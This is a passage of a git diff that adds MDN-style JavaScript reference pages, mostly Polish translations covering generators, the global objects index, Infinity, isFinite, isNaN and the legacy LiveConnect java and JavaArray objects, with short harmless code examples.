<dt>{{jsxref("Generator.prototype.next()")}}</dt> + <dd>Returns a value yielded by the {{jsxref("Operators/yield", "yield")}} expression.</dd> + <dt>{{jsxref("Generator.prototype.return()")}}</dt> + <dd>Returns the given value and finishes the generator.</dd> + <dt>{{jsxref("Generator.prototype.throw()")}}</dt> + <dd>Throws an error to a generator.</dd> +</dl> + +<h2 id="Example">Example</h2> + +<h3 id="An_infinite_iterator">An infinite iterator</h3> + +<pre class="brush: js">function* idMaker() { + var index = 0; + while(true) + yield index++; +} + +var gen = idMaker(); // "Generator { }" + +console.log(gen.next().value); // 0 +console.log(gen.next().value); // 1 +console.log(gen.next().value); // 2 +// ...</pre> + +<h2 id="Legacy_generator_objects">Legacy generator objects</h2> + +<p>Firefox (SpiderMonkey) also implements an earlier version of generators in <a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.7">JavaScript 1.7</a>, where the star (*) in the function declaration was not necessary (you just use the <code>yield</code> keyword in the function body). However, legacy generators are deprecated. Do not use them; they are going to be removed ({{bug(1083482)}}).</p> + +<h3 id="Legacy_generator_methods">Legacy generator methods</h3> + +<dl> + <dt><code>Generator.prototype.next() </code>{{non-standard_inline}}</dt> + <dd>Returns a value yielded by the {{jsxref("Operatory/yield", "yield")}} expression. This corresponds to <code>next()</code> in the ES2015 generator object.</dd> + <dt><code>Generator.prototype.close()</code> {{non-standard_inline}}</dt> + <dd>Closes the generator, so that when calling <code>next()</code> an {{jsxref("StopIteration")}} error will be thrown. This corresponds to the <code>return()</code> method in the ES2015 generator object.</dd> + <dt><code>Generator.prototype.send()</code> {{non-standard_inline}}</dt> + <dd>Used to send a value to a generator. The value is returned from the {{jsxref("Operatory/yield", "yield")}} expression, and returns a value yielded by the next {{jsxref("Operatory/yield", "yield")}} expression. <code>send(x)</code> corresponds to <code>next(x)</code> in the ES2015 generator object.</dd> + <dt><strong><code>Generator.</code></strong><code>prototype.</code><strong><code>throw()</code> </strong> {{non-standard_inline}}</dt> + <dd>Throws an error to a generator. This corresponds to the <code>throw()</code> method in the ES2015 generator object.</dd> +</dl> + +<h3 id="Legacy_generator_example">Legacy generator example</h3> + +<pre class="brush: js">function fibonacci() { + var a = yield 1; + yield a * 2; +} + +var it = fibonacci(); +console.log(it); // "Generator { }" +console.log(it.next()); // 1 +console.log(it.send(10)); // 20 +console.log(it.close()); // undefined +console.log(it.next()); // throws StopIteration (as the generator is now closed) +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-generator-objects', 'Generator objects')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-generator-objects', 'Generator objects')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatChrome(39.0)}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Android Webview</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + <th>Chrome for Android</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>{{CompatChrome(39.0)}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatChrome(39.0)}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also">See also</h2> + +<h3 id="Legacy_generators">Legacy generators</h3> + +<ul> + <li>{{jsxref("Statements/Legacy_generator_function", "The legacy generator function", "", 1)}}</li> + <li>{{jsxref("Operators/Legacy_generator_function", "The legacy generator function expression", "", 1)}}</li> + <li>{{jsxref("StopIteration")}}</li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features/The_legacy_Iterator_protocol">The legacy Iterator protocol</a></li> +</ul> + +<h3 id="ES2015_generators">ES2015 generators</h3> + +<ul> + <li>{{jsxref("Functions", "Functions", "", 1)}}</li> + <li>{{jsxref("Statements/function", "function")}}</li> + <li>{{jsxref("Operators/function", "function expression")}}</li> + <li>{{jsxref("Function")}}</li> + <li>{{jsxref("Statements/function*", "function*")}}</li> + <li>{{jsxref("Operators/function*", "function* expression")}}</li> + <li>{{jsxref("GeneratorFunction")}}</li> + <li><a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">The Iterator protocol</a></li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/index.html b/files/pl/web/javascript/referencje/obiekty/index.html new file mode 100644 index 0000000000..ebe6dfe63f --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/index.html @@ -0,0 +1,193 @@ +--- +title: Obiekty +slug: Web/JavaScript/Referencje/Obiekty +tags: + - Dokumentacja + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript +translation_of: Web/JavaScript/Reference/Global_Objects +--- +<div>{{jsSidebar("Objects")}}</div> + +<p>W tym rozdziale opisano wszystkie standardowe obiekty wbudowane JavaScript, w tym ich metody i właściwości.</p> + +<p>Pojęcie "obiekty globalne" (lub standardowe obiekty wbudowane) tutaj nie są tym samym, co <strong>obiekt globalny</strong>, który odnosi się do <strong>obiektów o zasięgu globalnym</strong>. Dostęp do <strong>obiektu globalnego</strong> można uzyskać za pomocą operatoa {{jsxref("Operatory/this", "this")}} w zakresie globalnym (ale tylko, jeśli nie jest właczony tryb ścisły ECMAScript 5. W trybie ścisłym, w takim przypadku zostanie zwrócona wartość {{jsxref("undefined")}}). W rzeczywistości, zakres globalny <strong>składa się</strong> z własciwości obiektu globalnego, w tym właściwości dziedziczonych, jeśli istnieją.</p> + +<p>Innymi obiektami o zasięgu globalnym są <a href="/pl/docs/Web/JavaScript/Guide/Working_with_Objects#Creating_new_objects">obiekty tworzone w skryptach przez użytkowników</a> albo dostarczane przez aplikacje hosta. Obiekty hosta dostępne w kontekście przeglądarki są opisane w <a href="/pl/docs/Web/API/Reference">informatorze API</a>. Więcej informacji o różnicach dzielących <a href="/pl/docs/DOM/DOM_Reference">DOM</a> i rdzeń <a href="/pl/docs/Web/JavaScript">JavaScript</a>, znajdziesz we <a href="/pl/docs/Web/JavaScript/JavaScript_technologies_overview">Przeglądzie technologii JavaScript</a>.</p> + +<h2 id="Obiekty_standardowe_wg_kategorii">Obiekty standardowe wg kategorii</h2> + +<h3 id="Wartości">Wartości</h3> + +<p>Właściwości globalne zwracają proste wartości, które nie mają swoich własciwości ani metod</p> + +<ul> + <li>{{jsxref("Infinity")}}</li> + <li>{{jsxref("NaN")}}</li> + <li>{{jsxref("undefined")}}</li> + <li>literał {{jsxref("null")}}</li> +</ul> + +<h3 id="Funkcje">Funkcje</h3> + +<p>Należą tu funkcje globalne (wywoływane globalnie a nie w jakimś obiekcie), które zwracają swoją wartość bezpośredni do wywołania.</p> + +<ul> + <li>{{jsxref("Global_Objects/eval", "eval()")}}</li> + <li>{{jsxref("Global_Objects/uneval", "uneval()")}} {{non-standard_inline}}</li> + <li>{{jsxref("Global_Objects/isFinite", "isFinite()")}}</li> + <li>{{jsxref("Global_Objects/isNaN", "isNaN()")}}</li> + <li>{{jsxref("Global_Objects/parseFloat", "parseFloat()")}}</li> + <li>{{jsxref("Global_Objects/parseInt", "parseInt()")}}</li> + <li>{{jsxref("Global_Objects/decodeURI", "decodeURI()")}}</li> + <li>{{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent()")}}</li> + <li>{{jsxref("Global_Objects/encodeURI", "encodeURI()")}}</li> + <li>{{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}}</li> + <li>{{jsxref("Global_Objects/escape", "escape()")}} {{deprecated_inline}}</li> + <li>{{jsxref("Global_Objects/unescape", "unescape()")}} {{deprecated_inline}}</li> +</ul> + +<h3 id="Obiekty_podstawowe">Obiekty podstawowe</h3> + +<p>Są to fundamentalne, podstawowe obiekty, stanowiące podstawę do tworzenia innych obiektów. Obejmuje to obiekty reprezentujace obiekty ogólne, funkcje i błędy.</p> + +<ul> + <li>{{jsxref("Object")}}</li> + <li>{{jsxref("Function")}}</li> + <li>{{jsxref("Boolean")}}</li> + <li>{{jsxref("Symbol")}}</li> + <li>{{jsxref("Error")}}</li> + <li>{{jsxref("EvalError")}}</li> + <li>{{jsxref("InternalError")}}</li> + <li>{{jsxref("RangeError")}}</li> + <li>{{jsxref("ReferenceError")}}</li> + <li>{{jsxref("SyntaxError")}}</li> + <li>{{jsxref("TypeError")}}</li> + <li>{{jsxref("URIError")}}</li> +</ul> + +<h3 id="Liczby_i_daty">Liczby i daty</h3> + +<p>Są to obiekty podstawowe reprezentujace liczby, daty i obliczenia matematyczne.</p> + +<ul> + <li>{{jsxref("Number")}}</li> + <li>{{jsxref("Math")}}</li> + <li>{{jsxref("Date")}}</li> +</ul> + +<h3 id="Przetwarzanie_tekstu">Przetwarzanie tekstu</h3> + +<p>Kategorie te tworzą obiekty reprezentujące łańcuchy i obsługujace manipulowanie łańcuchami.</p> + +<ul> + <li>{{jsxref("String")}}</li> + <li>{{jsxref("RegExp")}}</li> +</ul> + +<h3 id="Indeksowane_kolekcje">Indeksowane kolekcje</h3> + +<p>Obiekty te reprezentują kolekcje danych, ktore są uporządkowane według wartości indeksu. Opejmuje to tablice, typowane tablice i konstrukcje podobne do tablic.</p> + +<ul> + <li>{{jsxref("Array")}}</li> + <li>{{jsxref("Int8Array")}}</li> + <li>{{jsxref("Uint8Array")}}</li> + <li>{{jsxref("Uint8ClampedArray")}}</li> + <li>{{jsxref("Int16Array")}}</li> + <li>{{jsxref("Uint16Array")}}</li> + <li>{{jsxref("Int32Array")}}</li> + <li>{{jsxref("Uint32Array")}}</li> + <li>{{jsxref("Float32Array")}}</li> + <li>{{jsxref("Float64Array")}}</li> +</ul> + +<h3 id="Kolekcje_z_kluczami">Kolekcje z kluczami</h3> + +<p>Są to obiekty reprezentujące kolekcje stosujace klucze. Zawierają elementy, które są iterowalne w kolejności estawiania.</p> + +<ul> + <li>{{jsxref("Map")}}</li> + <li>{{jsxref("Set")}}</li> + <li>{{jsxref("WeakMap")}}</li> + <li>{{jsxref("WeakSet")}}</li> +</ul> + +<h3 id="Kolekcje_wektorowe">Kolekcje wektorowe</h3> + +<p>Typy danych wektorowych {{Glossary("SIMD")}} są obiektami, w których dane formowane są w potoki.</p> + +<ul> + <li>{{jsxref("SIMD")}} {{experimental_inline}}</li> + <li>{{jsxref("Float32x4", "SIMD.Float32x4")}} {{experimental_inline}}</li> + <li>{{jsxref("Float64x2", "SIMD.Float64x2")}} {{experimental_inline}}</li> + <li>{{jsxref("Int8x16", "SIMD.Int8x16")}} {{experimental_inline}}</li> + <li>{{jsxref("Int16x8", "SIMD.Int16x8")}} {{experimental_inline}}</li> + <li>{{jsxref("Int32x4", "SIMD.Int32x4")}} {{experimental_inline}}</li> + <li>{{jsxref("Uint8x16", "SIMD.Uint8x16")}} {{experimental_inline}}</li> + <li>{{jsxref("Uint16x8", "SIMD.Uint16x8")}} {{experimental_inline}}</li> + <li>{{jsxref("Uint32x4", "SIMD.Uint32x4")}} {{experimental_inline}}</li> + <li>{{jsxref("Bool8x16", "SIMD.Bool8x16")}} {{experimental_inline}}</li> + <li>{{jsxref("Bool16x8", "SIMD.Bool16x8")}} {{experimental_inline}}</li> + <li>{{jsxref("Bool32x4", "SIMD.Bool32x4")}} {{experimental_inline}}</li> + <li>{{jsxref("Bool64x2", "SIMD.Bool64x2")}} {{experimental_inline}}</li> +</ul> + +<h3 id="Dane_strukturalne">Dane strukturalne</h3> + +<p>Obiekty tej kategorii reprezentują i współdziałają ze strukturyzowanymi buforami danych i danymi kodowymi uzywającymi notacji JSON (JavaScript Object Notation).</p> + +<ul> + <li>{{jsxref("ArrayBuffer")}}</li> + <li>{{jsxref("SharedArrayBuffer")}} {{experimental_inline}}</li> + <li>{{jsxref("Atomics")}} {{experimental_inline}}</li> + <li>{{jsxref("DataView")}}</li> + <li>{{jsxref("JSON")}}</li> +</ul> + +<h3 id="Kontrola_obiektów_abstrakcyjnych">Kontrola obiektów abstrakcyjnych</h3> + +<ul> + <li>{{jsxref("Promise")}}</li> + <li>{{jsxref("Generator")}}</li> + <li>{{jsxref("GeneratorFunction")}}</li> + <li>{{experimental_inline}} {{jsxref("AsyncFunction")}}</li> +</ul> + +<h3 id="Refleksy">Refleksy</h3> + +<ul> + <li>{{jsxref("Reflect")}}</li> + <li>{{jsxref("Proxy")}}</li> +</ul> + +<h3 id="Internacjonalizacja">Internacjonalizacja</h3> + +<p>Dodatki do jadra ECMAScript dla funkcji językowych.</p> + +<ul> + <li>{{jsxref("Intl")}}</li> + <li>{{jsxref("Global_Objects/Collator", "Intl.Collator")}}</li> + <li>{{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}}</li> + <li>{{jsxref("Global_Objects/NumberFormat", "Intl.NumberFormat")}}</li> +</ul> + +<h3 id="WebAssembly">WebAssembly</h3> + +<ul> + <li>{{jsxref("WebAssembly")}}</li> + <li>{{jsxref("WebAssembly.Module")}}</li> + <li>{{jsxref("WebAssembly.Instance")}}</li> + <li>{{jsxref("WebAssembly.Memory")}}</li> + <li>{{jsxref("WebAssembly.Table")}}</li> + <li>{{jsxref("WebAssembly.CompileError")}}</li> + <li>{{jsxref("WebAssembly.LinkError")}}</li> + <li>{{jsxref("WebAssembly.RuntimeError")}}</li> +</ul> + +<h3 id="Pozostałe">Pozostałe</h3> + +<ul> + <li><code><a href="/pl/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a></code></li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/infinity/index.html b/files/pl/web/javascript/referencje/obiekty/infinity/index.html new file mode 100644 index 0000000000..7a2bd7ca45 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/infinity/index.html @@ -0,0 +1,35 @@ +--- +title: Infinity +slug: Web/JavaScript/Referencje/Obiekty/Infinity +tags: + - JavaScript +translation_of: Web/JavaScript/Reference/Global_Objects/Infinity +--- +<div> +<div> +<div>{{jsSidebar("Objects")}}</div> +</div> +</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Wartość numeryczna reprezentująca nieskończoność.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code>Infinity </code></pre> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p><code>Infinity</code> jest własnością najwyższego rzędu i nie jest przypisana do żadnego obiektu.</p> + +<p>Początkową wartością <code>Infinity</code> jest {{jsxref("Number.POSITIVE_INFINITY")}}.</p> + +<p>Wartość <code>Infinity</code> (+nieskończoność) jest większa niż jakakolwiek liczba. Wartość ta ma wszystkie cechy matematycznej nieskończoności; np. cokolwiek pomnożone przez <code>Infinity</code> jest równe <code>Infinity</code>, a cokolwiek podzielone przez <code>Infinity</code> jest równe 0.</p> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Number.NEGATIVE_INFINITY")}}</li> + <li>{{jsxref("Number.POSITIVE_INFINITY")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/isfinite/index.html b/files/pl/web/javascript/referencje/obiekty/isfinite/index.html new file mode 100644 index 0000000000..3b699e33c2 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/isfinite/index.html @@ -0,0 +1,56 @@ +--- +title: isFinite() +slug: Web/JavaScript/Referencje/Obiekty/isFinite +tags: + - JavaScript +translation_of: Web/JavaScript/Reference/Global_Objects/isFinite +--- +<div> +<div> +<div>{{jsSidebar("Objects")}}</div> +</div> +</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Przetwarza argument w celu stwierdzenia czy jest on liczbą skończoną.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox">isFinite(<em>liczba</em>)</pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>liczba</code> </dt> + <dd>Liczba do przetworzenia.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p><code>isFinite()</code> jest funkcją najwyższego poziomu, niepowiązaną z żadnym obiektem.</p> + +<p>Można użyć tej metody do określenia czy dana liczba jest skończona. Metoda <code>isFinite()</code> sprawdza liczbę podaną jako jej argument. Jeśli argument ma wartość {{jsxref("NaN")}} (nie jest liczbą), jest dodatnią lub ujemną nieskończonością, metoda ta zwraca <code>false</code>, w przeciwnym wypadku zwraca wartość <code>true</code>.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<pre class="brush: js">isFinite(Infinity); // false +isFinite(NaN); // false +isFinite(-Infinity); // false + +isFinite(0); // true +isFinite(2e64); // true + + +isFinite("0"); // true, would've been false with the + // more robust Number.isFinite("0") +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Number.isFinite()")}}</li> + <li>{{jsxref("Number.NaN()")}}</li> + <li>{{jsxref("Number.POSITIVE_INFINITY")}}</li> + <li>{{jsxref("Number.NEGATIVE_INFINITY")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/isnan/index.html b/files/pl/web/javascript/referencje/obiekty/isnan/index.html new file mode 100644 index 0000000000..f2730b9c00 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/isnan/index.html @@ -0,0 +1,53 @@ +--- +title: isNaN() +slug: Web/JavaScript/Referencje/Obiekty/isNaN +tags: + - JavaScript +translation_of: Web/JavaScript/Reference/Global_Objects/isNaN +--- +<p>{{jsSidebar("Objects")}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Sprawdza, czy argument nie ma wartości NaN ("nie-liczba").</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code>isNaN(<em>testowanaWartość</em>)</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>testowanaWartość</code> </dt> + <dd>Wartość do sprawdzenia.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p><code>isNaN</code> jest funkcją najwyższego rzędu i nie jest przypisana do żadnego obiektu.</p> + +<p>Funkcje <code>parseFloat</code> i <code>parseInt</code> zwracają <code>NaN</code>, kiedy wyliczą wartość, która nie jest liczbą. <code>isNaN</code> zwraca <code>true</code>, jeśli przekazano jej <code>NaN</code>, a <code>false</code> w przeciwnym wypadku.</p> + +<p>Funkcja ta jest o tyle przydatna, że wartości {{jsxref("NaN", "NaN")}} nie można skutecznie sprawdzać przy użyciu operatorów równości. <code>x == NaN</code> i <code>x === NaN</code> mają zawsze wartość <code>false</code>, bez względu na to, jaką wartość ma <code>x</code>, nawet jeśli <code>x</code> to <code>NaN</code>. Na przykład, zarówno <code>1 == NaN</code>, jak i <code>NaN == NaN</code> zwracają <code>false</code>.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_isNaN" name="Przyk.C5.82ad:_Zastosowanie_isNaN">Przykład: Zastosowanie <code>isNaN</code></h3> + +<p>Poniższy przykład wylicza wartość <code>floatValue</code>, by sprawdzić, czy jest liczbą, a następnie wywołuje odpowiednią procedurę.</p> + +<pre class="brush: js">var floatValue = parseFloat(toFloat); + +if (isNaN(floatValue)) { + notFloat(); +} else { + isFloat(); +} +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("NaN")}}</li> + <li>{{jsxref("Number.isNaN()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/java/index.html b/files/pl/web/javascript/referencje/obiekty/java/index.html new file mode 100644 index 0000000000..94e53a85b0 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/java/index.html @@ -0,0 +1,29 @@ +--- +title: java +slug: Web/JavaScript/Referencje/Obiekty/java +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Archive/Web/LiveConnect_Reference/java +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p><b>Obiekt główny</b> +</p><p>Obiekt najwyższego poziomu używany do korzystania z klas języka Java z pakietu <code>java.*</code>. +</p> +<h3 id="Tworzony_przez" name="Tworzony_przez"> Tworzony przez </h3> +<p>Obiekt <code>java</code> w języku JavaScript jest predefiniowanym obiektem najwyższego poziomu. Nie ma potrzeby stosowania konstruktora lub wywoływania jakiejkolwiek metody by z niego korzystać. +</p> +<h3 id="Opis" name="Opis"> Opis </h3> +<p>Obiekt <code>java</code> jest synonimem dla własności <code>Packages.java</code>. +</p> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3> +<p><code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Packages">Packages</a>, +<a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Packages/java">Packages.java</a></code> +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Global_Objects/java", "es": "es/Referencia_de_JavaScript_1.5/Objetos_globales/java" } ) }} diff --git a/files/pl/web/javascript/referencje/obiekty/javaarray/index.html b/files/pl/web/javascript/referencje/obiekty/javaarray/index.html new file mode 100644 index 0000000000..ad4f84b0c4 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/javaarray/index.html @@ -0,0 +1,68 @@ +--- +title: JavaArray +slug: Web/JavaScript/Referencje/Obiekty/JavaArray +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Archive/Web/LiveConnect_Reference/JavaArray +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p><b>Obiekt główny</b> </p><p>Zapakowana tablica Javy, do której dostęp uzyskuje się poprzez kod JavaScript jest członkiem typu <code>JavaArray</code>. </p> +<h3 id="Tworzone_przez" name="Tworzone_przez"> Tworzone przez </h3> +<p>Jakąkolwiek metodę Javy, która zwraca tablicę. W dodatku, możesz stworzyć obiekt <code>JavaArray</code> z dowolnym typem danych używając metody <code>newInstance</code> klasy <code>Array</code>: +</p> +<pre class="eval">public static Object newInstance(Class componentType, + int length) + throws NegativeArraySizeException +</pre> +<h3 id="Opis" name="Opis"> Opis </h3> +<p>Obiekt <code>JavaArray</code> jest wystąpieniem tablicy Javy, która jest stworzona wewnątrz kody JavaScript lub do niego przekazana. <code>JavaArray</code> jest opakowaniem (ang. <i>wrapper</i>) dla tej instancji; wszystkie referencje do niej są robione przez <code>JavaArray</code>. +</p><p>W JavaScript 1.4 i późniejszym, parametr <code>componentType</code> jest albo obiektem typu <code>JavaClass</code> reprezentującym typ tablicy albo obiektem klasowym, jak na przykład obiekt zwracany przez <code>java.lang.Class.forName</code>. W JavaScript 1.3 i wcześniejszych, <code>componentType</code> musi być obiektem klasowym. +</p><p>Użyj indeksy oparte na zerze, aby uzyskać dostęp do obiektu <code>JavaArray</code>, tak samo jak robisz to w Javie. Na przykład: +</p> +<pre>var javaString = new java.lang.String("Hello world!"); +var byteArray = javaString.getBytes(); +byteArray[0] // zwraca 72 +byteArray[1] // zwraca 101 +</pre> +<p>Jakiekolwiek dane Javy przeniesione do JavaScriptu są konwertowane do typów danych JavaScriptu. Kiedy obiekt <code>JavaArray</code> jest przekazany z powrotem do Javy, obiekt jest rozpakowywany i może być użyty przez kod Javy. Zobacz <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5">Przewodnik po języku JavaScript 1.5</a>, aby uzyskać więcej informacji na temat konwersji typów danych. </p><p>W JavaScripcie 1.4 i późniejszym, metody <code>java.lang.Object</code> są dziedziczone przez <code>JavaArray</code>. +</p> +<h3 id="Zgodno.C5.9B.C4.87_wsteczna" name="Zgodno.C5.9B.C4.87_wsteczna"> Zgodność wsteczna </h3> +<h4 id="JavaScript_1.3_i_wersje_wcze.C5.9Bniejsze" name="JavaScript_1.3_i_wersje_wcze.C5.9Bniejsze"> JavaScript 1.3 i wersje wcześniejsze </h4> +<p>Metody <code>java.lang.Object</code> nie są dziedziczone przez <code>JavaArray</code>. W dodatku, metoda <code>toString</code> jest dziedziczona z obiektu <code>Object</code> i zwraca następującą wartość: +</p> +<pre class="eval">[object JavaArray] +</pre> +<p>Musisz określić klasę obiektu, tak jak jeden zwracany przez <code>java.lang.Object.forName</code>, dla parametru <code>componentType</code>, <code>newInstance</code> kiedy użyjesz tej metody do utworzenia tablicy. Nie możesz użyć obiektu <code>JavaClass</code> dla parametru <code>componentType</code>. +</p> +<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3> +<p><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/JavaArray/length">length</a>: Numer elementu w Java array reprezentowana przez <code>JavaArray</code>. +</p> +<h3 id="Metody" name="Metody"> Metody </h3> +<p><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/JavaArray/toString">toString</a>: W JavaScript 1.4, ta metoda ta nie jest uwzględniana przez odziedziczona metodę <code>java.lang.Object.toString</code>. W JavaScript 1.3 lub lub wcześniejszym, metoda ta zwraca ciąg znaków (stringa) identyfikującego obiekt jako <code>JavaArray</code>. +</p><p>W JavaScript 1.4 lub późniejszym, <code>JavaArray</code> dziedziczy również metody z superklasy tablicy Javy, <code>java.lang.Object</code>. +</p> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3> +<h4 id="Przyk.C5.82ad:_Tworzenie_JavaArray_w_JavaScript" name="Przyk.C5.82ad:_Tworzenie_JavaArray_w_JavaScript"> Przykład: Tworzenie <code>JavaArray</code> w JavaScript </h4> +<p>W tym przykładzie, <code>JavaArray</code> <code>tablicaBitowa</code> jest stworzona przez metodę <code>java.lang.String.getBytes</code>, która zwraca tablicę. +</p> +<pre class="eval">var stringJavy = new java.lang.String("Witaj świecie!"); +var tablicaBitowa = stringJavy.getBytes(); +</pre> +<h4 id="Przyk.C5.82ad:_Tworzenie_JavaArray_w_JavaScript_z_metod.C4.85_newInstance" name="Przyk.C5.82ad:_Tworzenie_JavaArray_w_JavaScript_z_metod.C4.85_newInstance"> Przykład: Tworzenie <code>JavaArray</code> w JavaScript z metodą <code>newInstance</code> </h4> +<p>W JavaScript 1.4, możesz użyć obiekt <code>JavaClass</code> jako argument dla metody <code>newInstance</code>, która tworzy tablicę, jak jest to pokazane w następującym kodzie: +</p> +<pre class="eval">var dogs = java.lang.reflect.Array.newInstance(java.lang.String, 5); +</pre> +<p>W JavaScript 1.1, użyj obiektu klasy, zwracanego <code>java.lang.Class.forName</code> jako argument dla metody newInstance, jak pokazuje następujący kod: +</p> +<pre class="eval">var dataType = java.lang.Class.forName("java.lang.String"); +var dogs = java.lang.reflect.Array.newInstance(dataType, 5); +</pre> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Global_Objects/JavaArray", "es": "es/Referencia_de_JavaScript_1.5/Objetos_globales/JavaArray" } ) }} diff --git a/files/pl/web/javascript/referencje/obiekty/javaarray/length/index.html b/files/pl/web/javascript/referencje/obiekty/javaarray/length/index.html new file mode 100644 index 0000000000..584bf347e8 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/javaarray/length/index.html @@ -0,0 +1,29 @@ +--- +title: length +slug: Web/JavaScript/Referencje/Obiekty/JavaArray/length +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Archive/Web/LiveConnect_Reference/JavaArray/length +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Liczba elementów tablicy w Javie reprezentowana przez obiekt <code>JavaArray</code>. +</p> +<table class="fullwidth-table"> +<tbody><tr> +<td class="header" colspan="2">Własność obiektu: <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/JavaArray">JavaArray</a></td> +</tr> +<tr> +<td>Zaimplementowana w:</td> +<td>JavaScript 1.1, NES 2.0</td> +</tr> +</tbody></table> +<h3 id="Opis" name="Opis"> Opis </h3> +<p>Niepodobny do <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Array/length">Array.length</a></code>, <code>JavaArray.length</code> jest własnością tylko do odczytu. Nie możemy zmieniać wartości własności <code>JavaArray.length</code>, ponieważ tablice w Javie mają fałszywą liczbę elementów. </p> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3> +<p><code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Array/length">Array.length</a></code> +</p>{{ 